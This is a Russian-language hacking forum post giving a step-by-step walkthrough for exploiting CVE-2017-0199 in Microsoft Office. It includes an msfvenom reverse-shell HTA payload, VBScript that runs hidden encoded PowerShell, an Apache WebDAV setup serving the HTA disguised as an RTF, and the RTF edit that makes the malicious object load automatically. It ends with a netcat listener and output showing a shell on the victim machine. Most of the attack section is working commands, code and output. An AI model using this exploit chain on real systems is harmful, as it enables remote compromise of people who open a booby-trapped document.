Тестирования уязвимости в продукции Microsoft Office - CVE-2017-0199

Тема в разделе "Уязвимости и взлом", создана пользователем cyberdaun, 7 июн 2017.

  1. cyberdaun

    cyberdaun

    Сообщения:
    136
    Баллы:
    16
    Благодаря https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html стало известно об эксплуатации CVE-2017-0199 в различных компаниях по распространению вирусов (например Dridex).
    Уязвимость заключается в использовании OLEv2-ссылок в теле документа.
    Итак, а что это за объекты OLEv2? Это в основном объект (файл), который мы включаем в наш файл, и его содержимое будет загружено в документ при открытии. Короче: файл внутри файла.

    Этап 1:
    На первом этапе мы создадим HTA-файл (это тип файла, который является по факту html-приложением, которое способно интерпретировать Jscript\Vbscript-код).
    Для примера мы назовем файл myhta.hta:
    Скрытый контент.
    HTML:
    <!DOCTYPE html>
    <html>
    <head>
    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
    <title>CVE-2017-0199</title>
    <script language="VBScript">
    ТУТ БУДЕТ ВАШ КОД
    </script>
    <hta:application id="oHTA" applicationname="CVE-2017-0199" application="yes">
    </hta:application>
    </head>
    <body>
    </body>
    </html>
    Нажмите, чтобы раскрыть...​


    Итак, это базовое приложение HTA, без какого-либо пейлоада.
    Теперь нам нужно сгенерировать наш vbscript-код для включения в этот hta-файл.
    Скрытый контент.
    Код:
    # msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcp LHOST=192.168.1.213 LPORT=21747 -f hta-psh
    Нажмите, чтобы раскрыть...​

    В результате мы получаем следующий пейлоад:
    Скрытый контент.
    Код:
    <script language="VBScript">
    Set jkq = CreateObject("Wscript.Shell")
    Set bMB = CreateObject("Scripting.FileSystemObject")
    If bMB.FileExists(jkq.ExpandEnvironmentStrings("%PSModulePath%")+"..\powershell.exe") Then
    jkq.Run "powershell.exe -nop -w hidden -e aQBmACgAWw...ACkAOwA="
    End If
    </script>
    Нажмите, чтобы раскрыть...​

    Добавьте этот скрипт в hta-файл:
    Скрытый контент.
    HTML:
    <!DOCTYPE html>
    <html>
    <head>
    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
    <title>CVE-2017-0199</title>
    <script language="VBScript">
    Set jkq = CreateObject("Wscript.Shell")
    jkq.Run "powershell.exe -nop -w hidden -e aQBmACgAWw...ACkAOwA="
    </script>
    <hta:application id="oHTA" applicationname="CVE-2017-0199" application="yes">
    </hta:application>
    </head>
    <body>
    </body>
    </html>
    Нажмите, чтобы раскрыть...​

    Обратите внимание, что мы удалили некоторые строки из нашего скрипта, поскольку в данном случае в них нет необходимости для запуска powershell (Если кто-нибудь знает, почему, пожалуйста, дайте мне знать).

    Итак, теперь у нас есть наш hta-файл, с нашим пейлоадом в виде реверсивного шелла.

    Этап 2:
    Следующим шагом на необходимо создать простой RTF-документ используя Windows Word, с любым содержимым внутри. В этом примере вы можете написать "Это просто тест!" и сохранить с названием myrtf.rtf.

    Хорошо. Теперь у вас имеется 2 документа, которые вы должны загрузить на веб-сервер:
    Скрытый контент.
    Код:
    /var/www/html/ms# ls
    myhta.hta myrtf.rtf
    Нажмите, чтобы раскрыть...​

    Этап 3:
    Настройте сервер Apache в качестве WebDAV-сервиса:
    Скрытый контент.
    Код:
    #a2enmod dav
    #a2enmod dav_fs
    #a2enmod dav_lock
    #a2enmod headers
    #service apache2 restart
    Нажмите, чтобы раскрыть...​

    Далее мы добавим заголовок content-type application/rtf для всех файлов в нашем каталоге /ms и разрешим выполнение запроса PROPFIND, который будет выполнять Microsoft Office.

    Для этого откройте файл 000-default.conf расположенный по адресу /etc/apache2/sites-enabled и добавьте в конце следующие строки:
    Скрытый контент.
    Код:
    <Directory /var/www/html/ms/>
    Header set Content-Type "application/rtf"
    </Directory>
    <Directory />
    Dav on
    </Directory>
    Нажмите, чтобы раскрыть...​

    После всех изменений не забудьте перезапустить apache сервер:
    Скрытый контент.
    Код:
    service apache2 restart
    Нажмите, чтобы раскрыть...​

    Этап 4:
    Теперь нам нужно создать другой RTF-файл (тот самый, который мы отправим учебной жертве) и вставить в него ссылку на внешний rtf-файл.

    Создайте документ с именем research-doc.rtf и добавьте в него объект:
    Английская локализация: Insert -> Object ("Create from File")
    Русская локализация: Вставка -> Объект ("Создание из файла")

    В имени файла добавьте URL-адрес (https://href.li/?http://192.168.XXX.XXX/ms/myrtf.rtf) и отметьте "Связь с файлом/Link to file":
    https://ufolabs.pro/attachments/1-png.197/
    Сохраните файл.

    Этап 5:
    После того, как вы создали файл, вам необходимо отредактировать его для автоматической загрузки OLE-объекта, а именно добавить objupdate между objautlink and rsltpict в файле research-doc.rtf.

    Для этого откройте файл через SublimeText или Notepad++, найдите object и проведите следующую операцию:
    замените строку:
    Скрытый контент.
    Код:
    \object\objautlink\rsltpict
    на:
    Код:
    \object\objautlink\objupdate\rsltpict
    Нажмите, чтобы раскрыть...​

    Итак, теперь у нас есть наш файл esearch-doc.rtf, который указывает на объект myrtf.rtf, но мы хотим, чтобы он фактически указывал на наш hta-файл.
    Переходим к следующему шагу.

    Этап 6:
    Для этого нам нужно заменить содержимое myrtf.rtf содержимым myhta.hta, а затем изменить заголовок application content-type на hta.

    Производим замену содержимого (чтение myhta.hta и перезапись myrtf.rtf):
    Скрытый контент.
    Код:
    /var/www/html/ms# cat myhta.hta > myrtf.rtf
    Нажмите, чтобы раскрыть...​

    Отредактируйте конфигурационный файл 000-default.conf, заменив:
    Скрытый контент.
    Код:
    Header set Content-Type "application/rtf"
    на:
    Header set Content-Type "application/hta"
    Нажмите, чтобы раскрыть...​

    После всех изменений не забудьте перезапустить apache сервер:
    Скрытый контент.
    Код:
    service apache2 restart
    Нажмите, чтобы раскрыть...​

    Этап 7:
    Создайте слушающий порт на вашем сервере и откройте документ на удаленном компьютере, имеющим соединение до сервера research-doc.rtf:
    Скрытый контент.
    Код:
    # nc -nlvp 21747
    Нажмите, чтобы раскрыть...​

    Скрытый контент.
    Код:
    listening on [any] 21747
    connect to [192.168.1.213] from (UNKNOWN) [192.168.1.217] 58028
    Microsoft Windows [Version 10.0.14393]
    (c) 2016 Microsoft Corporation. All rights reserved.

    C:\Windows\System32>whoami
    whoami
    desktop-hae3iae\buhletxr
    Нажмите, чтобы раскрыть...​

    Готово. Мы получили шелл.

    Примечание: если вам не нравится расширение .rtf, в вашем окончательном документе research-doc.rtf - переименуйте его, например в файл с расширением .doc, он также будет работать
    Pasta

Поделиться этой страницей

Top